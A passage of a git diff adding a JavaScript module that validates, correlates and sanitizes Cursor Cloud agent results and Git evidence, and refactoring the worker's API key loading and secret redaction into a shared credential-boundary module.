'options.repository_identity', + ) + : null, + repository_url: hasOwn(input, 'repository_url') + ? assertRepoUrl(ownDataValue(input, 'repository_url', 'options.repository_url'), 'options.repository_url') + : null, + branch: hasOwn(input, 'branch') + ? assertBranch(ownDataValue(input, 'branch', 'options.branch'), 'options.branch') + : null, + starting_sha: hasOwn(input, 'starting_sha') + ? assertCommit(ownDataValue(input, 'starting_sha', 'options.starting_sha'), 'options.starting_sha') + : null, + head_sha: hasOwn(input, 'head_sha') + ? assertCommit(ownDataValue(input, 'head_sha', 'options.head_sha'), 'options.head_sha') + : null, + }); +} + +export function isCursorCloudResultIdentityMismatchV1(error) { + return error instanceof RunContractV1Error + && capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES, error.code); +} + +export function assertCursorCloudResultCorrelationV1(input) { + closedObject(input, CURSOR_CLOUD_RESULT_CORRELATION_KEYS, 'correlation', + 'The Cursor Cloud result correlation'); + const recorded = hasOwn(input, 'recorded') + ? ownDataValue(input, 'recorded', 'recorded') + : {}; + assertPlainObject(recorded, 'invalid_type', 'recorded', 'The recorded Cursor Cloud identity'); + rejectRecordedMismatchBypassAliases(recorded); + closedObject(recorded, CURSOR_CLOUD_RECORDED_IDENTITY_KEYS, 'recorded', + 'The recorded Cursor Cloud identity'); + for (let index = 0; index < CURSOR_CLOUD_RECORDED_IDENTITY_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_RECORDED_IDENTITY_KEYS[index]; + if (hasOwn(recorded, key)) optionalOwnScalar(recorded, key, `recorded.${key}`); + } + const observed = hasOwn(input, 'observed') + ? parseObserved({ observed: ownDataValue(input, 'observed', 'observed') }) + : freezeData({}); + const git = hasOwn(input, 'git_evidence') + ? parseGitEvidence({ git_evidence: ownDataValue(input, 'git_evidence', 'git_evidence') }) + : null; + + const recordedRunId = optionalOwnScalar(recorded, 'run_id', 'recorded.run_id'); + if (typeof recordedRunId === 'string' && observed.run_id !== undefined) { + assertRunId(recordedRunId, 'recorded.run_id'); + assertExactIdentity(recordedRunId, observed.run_id, 'run_identity_mismatch', 'observed.run_id', 'run'); + } + const recordedAssignmentId = optionalOwnScalar(recorded, 'assignment_id', 'recorded.assignment_id'); + if (typeof recordedAssignmentId === 'string' && observed.assignment_id !== undefined) { + if (!isAssignmentId(recordedAssignmentId)) { + failSource('invalid_format', 'recorded.assignment_id', + 'recorded.assignment_id violates the assignment-id grammar.'); + } + assertExactIdentity( + recordedAssignmentId, observed.assignment_id, 'assignment_identity_mismatch', + 'observed.assignment_id', 'assignment', + ); + } + const recordedRequestId = optionalOwnScalar(recorded, 'request_id', 'recorded.request_id'); + if (typeof recordedRequestId === 'string' && observed.request_id !== undefined) { + const requestId = assertTokenId(recordedRequestId, 'recorded.request_id', 'request'); + assertExactIdentity( + requestId, observed.request_id, 'request_identity_mismatch', + 'observed.request_id', 'request', + ); + } + const recordedProviderRunId = optionalOwnScalar(recorded, 'provider_run_id', 'recorded.provider_run_id'); + if (typeof recordedProviderRunId === 'string' && observed.provider_run_id !== undefined) { + const providerRunId = assertTokenId( + recordedProviderRunId, 'recorded.provider_run_id', 'provider run', + ); + assertExactIdentity( + providerRunId, observed.provider_run_id, 'provider_run_identity_mismatch', + 'observed.provider_run_id', 'provider run', + ); + } + const recordedAgentId = optionalOwnScalar(recorded, 'agent_id', 'recorded.agent_id'); + if (typeof recordedAgentId === 'string' && observed.agent_id !== undefined) { + const agentId = assertTokenId(recordedAgentId, 'recorded.agent_id', 'agent'); + assertExactIdentity( + agentId, observed.agent_id, 'agent_identity_mismatch', + 'observed.agent_id', 'agent', + ); + } + if (git !== null) { + const recordedBranch = optionalOwnScalar(recorded, 'branch', 'recorded.branch'); + if (typeof recordedBranch === 'string' && git.branch !== undefined) { + const branch = assertBranch(recordedBranch, 'recorded.branch'); + assertExactIdentity(branch, git.branch, 'branch_identity_mismatch', 'git_evidence.branch', 'branch'); + } + const recordedRepoIdentity = optionalOwnScalar( + recorded, 'repository_identity', 'recorded.repository_identity', + ); + if (typeof recordedRepoIdentity === 'string' && git.repository_identity !== undefined) { + const repo = assertRepoIdentity(recordedRepoIdentity, 'recorded.repository_identity'); + assertExactIdentity( + repo, git.repository_identity, 'repository_identity_mismatch', + 'git_evidence.repository_identity', 'repository', + ); + } + const recordedRepoUrl = optionalOwnScalar(recorded, 'repository_url', 'recorded.repository_url'); + if (typeof recordedRepoUrl === 'string' && git.repository_url !== undefined) { + const url = assertRepoUrl(recordedRepoUrl, 'recorded.repository_url'); + assertExactIdentity( + url, git.repository_url, 'repository_identity_mismatch', + 'git_evidence.repository_url', 'repository', + ); + } + const recordedStarting = optionalOwnScalar(recorded, 'starting_sha', 'recorded.starting_sha'); + if (typeof recordedStarting === 'string') { + const starting = assertCommit(recordedStarting, 'recorded.starting_sha'); + if (git.starting_sha !== undefined) { + assertExactIdentity( + starting, git.starting_sha, 'base_identity_mismatch', + 'git_evidence.starting_sha', 'starting SHA', + ); + } + if (git.merge_base_sha !== undefined + && !exactBytesEqual(git.merge_base_sha, starting) + && (git.head_sha === undefined || !exactBytesEqual(git.merge_base_sha, git.head_sha))) { + failSource('base_identity_mismatch', 'git_evidence.merge_base_sha', + 'Cursor Cloud merge-base identity did not match the recorded starting SHA or observed head.'); + } + } + const recordedHead = optionalOwnScalar(recorded, 'head_sha', 'recorded.head_sha'); + if (typeof recordedHead === 'string' && git.head_sha !== undefined) { + const head = assertCommit(recordedHead, 'recorded.head_sha'); + assertExactIdentity(head, git.head_sha, 'head_identity_mismatch', 'git_evidence.head_sha', 'head'); + } + } + return freezeData({ recorded: true, observed, git_evidence: git }); +} + +function recordedCorrelationIdentity(identity) { + const recorded = {}; + for (let index = 0; index < CURSOR_CLOUD_RECORDED_IDENTITY_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_RECORDED_IDENTITY_KEYS[index]; + if (hasOwn(identity, key)) { + recorded[key] = ownDataValue(identity, key, `recorded.${key}`); + } + } + return recorded; +} + +function parseOptions(input) { + closedObject(input, CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS, 'options', + 'The Cursor Cloud result source options'); + const identity = parseIdentity(input); + const observed = parseObserved(input); + const providerReport = parseProviderReport(input); + const gitEvidence = parseGitEvidence(input); + assertCursorCloudResultCorrelationV1({ + recorded: recordedCorrelationIdentity(identity), + observed, + git_evidence: gitEvidence, + }); + return { identity, observed, providerReport, gitEvidence }; +} + +function utf8BoundaryStart(bytes, fromOffset) { + if (fromOffset === 0) return 0; + let start = 0; + while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start += 1; + return start; +} + +async function readInlineTail(store, provenance) { + const length = provenance.sanitized_byte_length; + const maxBytes = CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES; + const offset = length > maxBytes ? length - maxBytes : 0; + const page = await readSanitizedArtifactV1(store, provenance.sanitized_ref, { + offset, + max_bytes: maxBytes, + }); + const selected = BUFFER_FROM(page.selected_content, 'base64'); + if (selected.byteLength !== page.selected_byte_length) { + failSource('invalid_format', 'inline_tail', + 'The sanitized reader returned a tail whose encoding did not round-trip.'); + } + const start = utf8BoundaryStart(selected, offset); + const aligned = start === 0 ? selected : selected.subarray(start); + const text = aligned.toString('utf8'); + const tailBytes = BUFFER_FROM(text, 'utf8'); + if (tailBytes.byteLength > maxBytes) { + failSource('invalid_format', 'inline_tail', + 'The inline tail exceeded the 4096-byte UTF-8 cap after boundary alignment.'); + } + return freezeData({ + encoding: 'utf8', + text, + byte_length: tailBytes.byteLength, + offset: offset + start, + max_bytes: maxBytes, + inline_clipped: (offset + start) > 0 || tailBytes.byteLength < length, + source_truncated: provenance.source_truncated === true, + complete: provenance.complete === true, + reader_clipped: page.reader_clipped === true, + more: page.more === true, + next_offset: page.next_offset, + }); +} + +async function publishSource(store, identity, artifactKind, relativePath, mediaType, bytes, sourceTruncated) { + if (bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSource('artifact_stream_over_cap', 'source', + `The Cursor Cloud result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + if (bytes.byteLength < MIN_ARTIFACT_BYTE_LENGTH) { + return null; + } + const rawRef = parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + artifact_kind: artifactKind, + artifact_class: 'raw', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: mediaType, + content_encoding: SANITIZER_CONTENT_ENCODING, + }, 'artifact_ref'); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRef, + source: bytes, + source_truncated: sourceTruncated, + }); + if (provenance.schema !== ARTIFACT_SANITIZER_SCHEMA_ID) { + failSource('artifact_sink_not_verified', 'provenance', + 'The sanitizer returned provenance the result source does not recognize; nothing is reported.'); + } + const rawVerdict = await verifyStoredArtifactV1(store, provenance.raw_ref); + const sanitizedVerdict = await verifyStoredArtifactV1(store, provenance.sanitized_ref); + if (rawVerdict.verified !== true || sanitizedVerdict.verified !== true) { + failSource('artifact_sink_not_verified', 'artifact_ref', + 'Published Cursor Cloud result artifacts did not verify; nothing is reported.'); + } + const inlineTail = await readInlineTail(store, provenance); + return { provenance, inlineTail, relativePath, mediaType }; +} + +function emptySlot(sourceKind, artifactKind, extra = {}) { + return freezeData({ + source_kind: sourceKind, + artifact_kind: artifactKind, + published: false, + empty: true, + relative_path: null, + media_type: null, + raw_ref: null, + sanitized_ref: null, + raw_digest: null, + sanitized_digest: null, + ref_digest_raw: null, + ref_digest_sanitized: null, + source_byte_length: 0, + sanitized_byte_length: 0, + redaction_counts: null, + sanitizer_version: null, + policy_id: null, + complete: extra.source_truncated !== true, + source_truncated: extra.source_truncated === true, + inline_clipped: false, + storage_limited: false, + provenance: null, + inline_tail: null, + status: extra.status ?? null, + repository_identity: extra.repository_identity ?? null, + repository_url: extra.repository_url ?? null, + branch: extra.branch ?? null, + head_sha: extra.head_sha ?? null, + merge_base_sha: extra.merge_base_sha ?? null, + starting_sha: extra.starting_sha ?? null, + linear_history: extra.linear_history ?? null, + pr_url: extra.pr_url ?? null, + }); +} + +function publishedSlot(sourceKind, artifactKind, published, extra = {}) { + const provenance = published.provenance; + const rawRef = provenance.raw_ref; + const sanitizedRef = provenance.sanitized_ref; + return freezeData({ + source_kind: sourceKind, + artifact_kind: artifactKind, + published: true, + empty: false, + relative_path: published.relativePath, + media_type: published.mediaType, + raw_ref: rawRef, + sanitized_ref: sanitizedRef, + raw_digest: provenance.source_digest, + sanitized_digest: provenance.sanitized_digest, + ref_digest_raw: artifactRefDigestV1(rawRef, 'raw_ref').digest, + ref_digest_sanitized: artifactRefDigestV1(sanitizedRef, 'sanitized_ref').digest, + source_byte_length: provenance.source_byte_length, + sanitized_byte_length: provenance.sanitized_byte_length, + redaction_counts: provenance.redaction_counts, + sanitizer_version: provenance.sanitizer_version, + policy_id: provenance.policy_id, + complete: provenance.complete === true, + source_truncated: provenance.source_truncated === true, + inline_clipped: published.inlineTail.inline_clipped === true, + storage_limited: false, + provenance, + inline_tail: published.inlineTail, + status: extra.status ?? null, + repository_identity: extra.repository_identity ?? null, + repository_url: extra.repository_url ?? null, + branch: extra.branch ?? null, + head_sha: extra.head_sha ?? null, + merge_base_sha: extra.merge_base_sha ?? null, + starting_sha: extra.starting_sha ?? null, + linear_history: extra.linear_history ?? null, + pr_url: extra.pr_url ?? null, + }); +} + +function gitTypedFields(git) { + if (git == null) { + return { + repository_identity: null, + repository_url: null, + branch: null, + head_sha: null, + merge_base_sha: null, + starting_sha: null, + linear_history: null, + pr_url: null, + source_truncated: false, + }; + } + return { + repository_identity: git.repository_identity ?? null, + repository_url: git.repository_url ?? null, + branch: git.branch ?? null, + head_sha: git.head_sha ?? null, + merge_base_sha: git.merge_base_sha ?? null, + starting_sha: git.starting_sha ?? null, + linear_history: git.linear_history ?? null, + pr_url: git.pr_url ?? null, + source_truncated: git.source_truncated === true, + }; +} + +function gitStoreRecord(git) { + const record = {}; + const keys = [ + 'repository_identity', 'repository_url', 'branch', 'head_sha', + 'merge_base_sha', 'starting_sha', 'linear_history', 'pr_url', + ]; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (git[key] !== undefined && git[key] !== null) record[key] = git[key]; + } + return freezeData(record); +} + +function optionalCredentialFreeUrl(value, pattern) { + return typeof value === 'string' && capturedTest(pattern, value) ? value : null; +} + +function mapSdkBranchRecord(entry, field) { + assertPlainObject(entry, 'malformed_result', field, field); + closedObject(entry, CURSOR_CLOUD_SDK_BRANCH_KEYS, field, + 'Independently observed Cursor Cloud SDK branch evidence'); + const projected = {}; + if (hasOwn(entry, 'repoUrl')) { + const url = optionalCredentialFreeUrl( + ownDataValue(entry, 'repoUrl', `${field}.repoUrl`), REPO_URL_PATTERN, + ); + if (url !== null) projected.repository_url = url; + } + if (hasOwn(entry, 'branch')) { + const branch = ownDataValue(entry, 'branch', `${field}.branch`); + if (typeof branch === 'string' && capturedTest(BRANCH_PATTERN, branch)) { + projected.branch = branch; + } + } + if (hasOwn(entry, 'prUrl')) { + const url = optionalCredentialFreeUrl( + ownDataValue(entry, 'prUrl', `${field}.prUrl`), PR_URL_PATTERN, + ); + if (url !== null) projected.pr_url = url; + } + return projected; +} + +export function projectCursorCloudGitEvidenceV1(git) { + if (git === null || git === undefined) return null; + if (typeof git === 'string' || typeof git === 'number' || typeof git === 'boolean') { + failSource('source_confusion_denied', 'git_evidence', + 'Trusted Git evidence cannot be synthesized from provider text.'); + } + assertPlainObject(git, 'malformed_result', 'git_evidence', + 'Independently observed Cursor Cloud Git evidence'); + closedObject(git, CURSOR_CLOUD_GIT_PROJECTOR_KEYS, 'git_evidence', + 'Independently observed Cursor Cloud Git evidence'); + const projected = {}; + if (hasOwn(git, 'branches')) { + const branches = ownDataValue(git, 'branches', 'git_evidence.branches'); + const length = assertConcreteDenseDirectDataArray(branches, 'git_evidence.branches'); + if (length > 0) { + Object.assign(projected, mapSdkBranchRecord( + ownDataValue(branches, '0', 'git_evidence.branches[0]'), + 'git_evidence.branches[0]', + )); + } + } + const typedInput = {}; + for (let index = 0; index < CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS[index]; + if (hasOwn(git, key)) typedInput[key] = ownDataValue(git, key, `git_evidence.${key}`); + } + if (sortedCapturedKeys(typedInput).length > 0) { + const typed = parseGitEvidence({ git_evidence: typedInput }); + if (typed !== null) { + for (let index = 0; index < CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS[index]; + if (typed[key] !== undefined && typed[key] !== null && key !== 'source_truncated') { + projected[key] = typed[key]; + } + } + if (typed.source_truncated === true) projected.source_truncated = true; + } + } + if (sortedCapturedKeys(projected).length === 0) return null; + return freezeData(projected); +} + +export function projectCursorCloudProviderReportV1(result) { + if (result === null || result === undefined) { + return freezeData({ status: null, output: undefined, error: null, source_truncated: false }); + } + assertNotProxySurface( + result, + 'provider_report', + 'A Cursor Cloud provider report must be a plain result object.', + ); + closedObject(result, CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS, 'provider_report', + 'The Cursor Cloud provider report'); + const projected = { + status: hasOwn(result, 'status') ? ownScalar(result, 'status', 'provider_report.status') : null, + output: undefined, + error: null, + source_truncated: readTruncationAliases(result, 'provider_report'), + }; + if (hasOwn(result, 'result')) { + projected.output = cloneOwnedJson( + ownDataValue(result, 'result', 'provider_report.output'), + 'provider_report.output', + ); + } else if (hasOwn(result, 'output')) { + projected.output = cloneOwnedJson( + ownDataValue(result, 'output', 'provider_report.output'), + 'provider_report.output', + ); + } + if (hasOwn(result, 'error')) { + projected.error = cloneOwnedJson( + ownDataValue(result, 'error', 'provider_report.error'), + 'provider_report.error', + ); + } + if (projected.status !== null && !capturedIncludes(CURSOR_CLOUD_PROVIDER_REPORT_STATUSES, projected.status)) { + failSource('invalid_format', 'provider_report.status', + 'provider_report.status must be a closed provider-reported status.'); + } + return freezeData(projected); +} + +function ownedProviderReportInput(result) { + const projected = {}; + for (let index = 0; index < CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS[index]; + if (hasOwn(result, key)) { + projected[key] = ownDataValue(result, key, `provider_report.${key}`); + } + } + return projected; +} + +export function projectCursorCloudResultSourcesV1(result) { + if (result === null || result === undefined) { + failSource('malformed_result', 'result', + 'A Cursor Cloud result must be a plain object with distinct provider and Git sources.'); + } + assertNotProxySurface( + result, + 'result', + 'A Cursor Cloud result must be a plain object with distinct provider and Git sources.', + ); + closedObject(result, CURSOR_CLOUD_SDK_RESULT_KEYS, 'result', + 'A Cursor Cloud result'); + const observed = {}; + if (hasOwn(result, 'id')) { + observed.provider_run_id = assertTokenId( + ownScalar(result, 'id', 'observed.provider_run_id'), + 'observed.provider_run_id', 'provider run', + ); + } + if (hasOwn(result, 'requestId')) { + observed.request_id = assertTokenId( + ownScalar(result, 'requestId', 'observed.request_id'), + 'observed.request_id', 'request', + ); + } + if (hasOwn(result, 'agentId')) { + observed.agent_id = assertTokenId( + ownScalar(result, 'agentId', 'observed.agent_id'), + 'observed.agent_id', 'agent', + ); + } + return freezeData({ + observed: freezeData(observed), + provider_report: projectCursorCloudProviderReportV1(ownedProviderReportInput(result)), + git_evidence: projectCursorCloudGitEvidenceV1( + hasOwn(result, 'git') ? ownDataValue(result, 'git', 'git') : null, + ), + }); +} + +export function contentFreeCloudResultSourceFailureV1(error) { + const fromContract = error instanceof RunContractV1Error; + const rawCode = fromContract && typeof error.code === 'string' + ? error.code + : 'artifact_sink_failed'; + const rawPath = fromContract && typeof error.path === 'string' + ? error.path + : 'source'; + const code = capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_CODE_ALLOWLIST, rawCode) + ? rawCode + : 'artifact_sink_failed'; + const field = capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST, rawPath) + ? rawPath + : 'source'; + return freezeData({ + schema: CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + version: CURSOR_CLOUD_RESULT_SOURCE_VERSION, + published: false, + error: freezeData({ + code, + path: field, + message: CURSOR_CLOUD_RESULT_SOURCE_FAILURE_MESSAGE, + }), + }); +} + +export function cursorCloudResultSourceIdentityFromTaskV1(task) { + if (task === null || (typeof task !== 'object' && typeof task !== 'function')) return null; + assertNotProxy(task, 'task'); + if (typeof task !== 'object' || capturedIsArray(task)) return null; + if (!hasOwn(task, 'run_id') || !hasOwn(task, 'assignment_id') || !hasOwn(task, 'provider')) { + return null; + } + if (!hasOwn(task, 'model')) return null; + for (let index = 0; index < CURSOR_CLOUD_TASK_IDENTITY_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_TASK_IDENTITY_KEYS[index]; + if (hasOwn(task, key)) optionalOwnScalar(task, key, `task.${key}`); + } + const model = optionalOwnScalar(task, 'model', 'task.model'); + if (model === null || model === undefined) return null; + const provider = optionalOwnScalar(task, 'provider', 'task.provider'); + if (provider !== CURSOR_CLOUD_RESULT_SOURCE_PROVIDER) return null; + const identity = { + run_id: optionalOwnScalar(task, 'run_id', 'task.run_id'), + assignment_id: optionalOwnScalar(task, 'assignment_id', 'task.assignment_id'), + provider, + model, + }; + if (hasOwn(task, 'child_envelope_digest')) { + const digest = optionalOwnScalar(task, 'child_envelope_digest', 'task.child_envelope_digest'); + if (digest !== undefined) identity.child_envelope_digest = digest; + } + if (hasOwn(task, 'run_idempotency_key')) { + const requestId = optionalOwnScalar(task, 'run_idempotency_key', 'task.run_idempotency_key'); + if (requestId !== undefined) identity.request_id = requestId; + } + if (hasOwn(task, 'provider_agent_id')) { + const agentId = optionalOwnScalar(task, 'provider_agent_id', 'task.provider_agent_id'); + if (agentId !== undefined) identity.agent_id = agentId; + } + if (hasOwn(task, 'provider_run_id')) { + const providerRunId = optionalOwnScalar(task, 'provider_run_id', 'task.provider_run_id'); + if (providerRunId !== undefined) identity.provider_run_id = providerRunId; + } + if (hasOwn(task, 'provider_repo_url')) { + const url = optionalOwnScalar(task, 'provider_repo_url', 'task.provider_repo_url'); + if (url !== undefined) identity.repository_url = url; + } + if (hasOwn(task, 'provider_repo_identity')) { + const repo = optionalOwnScalar(task, 'provider_repo_identity', 'task.provider_repo_identity'); + if (repo !== undefined) identity.repository_identity = repo; + } + if (hasOwn(task, 'provider_branch')) { + const branch = optionalOwnScalar(task, 'provider_branch', 'task.provider_branch'); + if (branch !== undefined) identity.branch = branch; + } + if (hasOwn(task, 'starting_ref')) { + const starting = optionalOwnScalar(task, 'starting_ref', 'task.starting_ref'); + if (starting !== undefined) identity.starting_sha = starting; + } + if (hasOwn(task, 'head_sha')) { + const head = optionalOwnScalar(task, 'head_sha', 'task.head_sha'); + if (head !== undefined) identity.head_sha = head; + } + return freezeData(identity); +} + +export async function openCursorCloudResultArtifactStoreV1(stateRoot) { + if (typeof stateRoot !== 'string' || stateRoot.length === 0) { + failSource('invalid_type', 'root', + 'The artifact store state root must be an absolute path string.'); + } + if (!PATH_IS_ABSOLUTE(stateRoot)) { + failSource('invalid_format', 'root', + 'The artifact store state root must be an absolute path string.'); + } + const artifactsRoot = PATH_JOIN(PATH_RESOLVE(stateRoot), CURSOR_CLOUD_RESULT_STORE_DIR); + try { + await MKDIR(artifactsRoot, { recursive: true, mode: 0o700 }); + await CHMOD(artifactsRoot, 0o700); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSource('artifact_sink_failed', 'root', + 'The Cursor Cloud result artifact store root could not be prepared.'); + } + return openArtifactStoreV1({ root: artifactsRoot }); +} + +export async function materializeCursorCloudResultSourceV1(store, input) { + const { identity, observed, providerReport, gitEvidence } = parseOptions(input); + + const providerSource = providerReport.output !== undefined + ? providerReport.output + : providerReport.error != null + ? freezeData({ error: providerReport.error }) + : providerReport.status; + const providerBytes = await normalizeOutput(providerSource, 'provider_report'); + if (providerBytes.bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSource('artifact_stream_over_cap', 'provider_report', + `The Cursor Cloud provider report exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + const providerPath = cursorCloudProviderReportPathV1(identity, providerBytes.mediaType); + const publishedProvider = await publishSource( + store, identity, CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, + providerPath, providerBytes.mediaType, providerBytes.bytes, + providerReport.source_truncated === true, + ); + const providerSlot = publishedProvider == null + ? emptySlot('provider_report', CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, { + status: providerReport.status, + source_truncated: providerReport.source_truncated === true, + }) + : publishedSlot('provider_report', CURSOR_CLOUD_PROVIDER_REPORT_ARTIFACT_KIND, publishedProvider, { + status: providerReport.status, + }); + + const gitFields = gitTypedFields(gitEvidence); + let gitSlot = emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields); + if (gitEvidence !== null) { + const record = gitStoreRecord(gitEvidence); + if (sortedCapturedKeys(record).length === 0) { + gitSlot = emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields); + } else { + const gitBytes = encodeJsonValue(record, 'git_evidence'); + const gitPath = cursorCloudGitEvidencePathV1(identity); + const publishedGit = await publishSource( + store, identity, CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, + gitPath, 'application/json', gitBytes, + gitEvidence.source_truncated === true, + ); + gitSlot = publishedGit == null + ? emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields) + : publishedSlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, publishedGit, gitFields); + } + } + + return freezeData({ + schema: CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, + version: CURSOR_CLOUD_RESULT_SOURCE_VERSION, + published: providerSlot.published === true || gitSlot.published === true, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + request_id: observed.request_id ?? identity.request_id, + agent_id: observed.agent_id ?? identity.agent_id, + provider_run_id: observed.provider_run_id ?? identity.provider_run_id, + provider_report: providerSlot, + git_evidence: gitSlot, + }); +} + +capturedFreeze(materializeCursorCloudResultSourceV1); +capturedFreeze(openCursorCloudResultArtifactStoreV1); +capturedFreeze(projectCursorCloudResultSourcesV1); +capturedFreeze(projectCursorCloudProviderReportV1); +capturedFreeze(projectCursorCloudGitEvidenceV1); +capturedFreeze(assertCursorCloudResultCorrelationV1); +capturedFreeze(contentFreeCloudResultSourceFailureV1); +capturedFreeze(cursorCloudResultSourceIdentityFromTaskV1); +capturedFreeze(cursorCloudProviderReportPathV1); +capturedFreeze(cursorCloudGitEvidencePathV1); +capturedFreeze(isCursorCloudResultIdentityMismatchV1); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_RECEIPT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_SLOT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_ERROR_CODES); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_IDENTITY_MISMATCH_CODES); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_CODE_ALLOWLIST); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST); +capturedFreeze(CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS); +capturedFreeze(CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_OBSERVED_KEYS); +capturedFreeze(CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS); +capturedFreeze(CURSOR_CLOUD_SDK_RESULT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_CORRELATION_KEYS); +capturedFreeze(CURSOR_CLOUD_TASK_IDENTITY_KEYS); +capturedFreeze(CURSOR_CLOUD_RECORDED_IDENTITY_KEYS); diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs index f3dfb0d..e302974 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-worker.mjs @@ -1,14 +1,31 @@ import { execFile } from 'node:child_process'; import { randomUUID } from 'node:crypto'; import { watch as watchDirectory } from 'node:fs'; -import { readFile, stat } from 'node:fs/promises'; -import { homedir } from 'node:os'; +import { readFile } from 'node:fs/promises'; import path from 'node:path'; import { pathToFileURL, fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + CredentialBoundaryError, + GIT_INSPECT_ENV, + assertCredentialFreeRemote, + denyWorkerRemoteMutation, + loadProviderCredential, + projectProviderEnvironment, + redactExactValues, +} from './credential-boundary.mjs'; import { appendTaskEvent, readPrompt, readRuntimeRecord, readTask, taskPaths, updateTask } from './task-store.mjs'; import { boundedProviderResult, boundedProviderValue } from './provider-result.mjs'; +import { + assertCursorCloudResultCorrelationV1, + contentFreeCloudResultSourceFailureV1, + cursorCloudResultSourceIdentityFromTaskV1, + isCursorCloudResultIdentityMismatchV1, + materializeCursorCloudResultSourceV1, + openCursorCloudResultArtifactStoreV1, + projectCursorCloudResultSourcesV1, +} from './cursor-cloud-result-source.mjs'; process.umask(0o077); @@ -182,11 +199,7 @@ function cleanupCall(factory, label) { function redactProviderText(value, sensitiveValues = []) { let message = String(value ?? 'Cursor Cloud task failed.'); - for (const secret of [...sensitiveValues] - .filter((entry) => typeof entry === 'string' && entry.length >= 3) - .sort((left, right) => right.length - left.length)) { - message = message.split(secret).join('[redacted]'); - } + message = redactExactValues(message, sensitiveValues); // Provider errors are persisted in the owner-local receipt and returned by // the MCP facade. Remove common credential-bearing URL and header forms // before anything reaches a task receipt or worker log. @@ -253,22 +266,26 @@ function sanitizeProviderValue(value, sensitiveValues = [], depth = 0, seen = ne } export async function loadCursorApiKey(env = process.env) { - if (env.CURSOR_API_KEY?.trim()) return env.CURSOR_API_KEY.trim(); - const base = env.XDG_CONFIG_HOME - ? path.resolve(env.XDG_CONFIG_HOME) - : path.join(env.HOME ? path.resolve(env.HOME) : homedir(), '.config'); - const file = env.CURSOR_API_KEY_FILE?.trim() || path.join(base, 'cursor-cloud-control', 'api-key'); - const metadata = await stat(file); - if (!metadata.isFile() || (metadata.mode & 0o077) !== 0) fail('cursor_key_permissions', 'Cursor API key file must be owner-only.'); - const key = (await readFile(file, 'utf8')).trim(); - if (!key || key.includes('\0')) fail('cursor_credentials_missing', 'Cursor API key is empty.'); - return key; + try { + const loaded = await loadProviderCredential({ provider: 'cursor-cloud', source: env }); + if (!loaded?.value) fail('cursor_credentials_missing', 'Cursor API key is empty.'); + return loaded.value; + } catch (error) { + if (error instanceof CredentialBoundaryError) { + if (error.code === 'credential_permissions' || error.code === 'credential_owner_denied') { + fail('cursor_key_permissions', 'Cursor API key file must be owner-only.'); + } + fail('cursor_credentials_missing', 'Cursor API key is empty.'); + } + throw error; 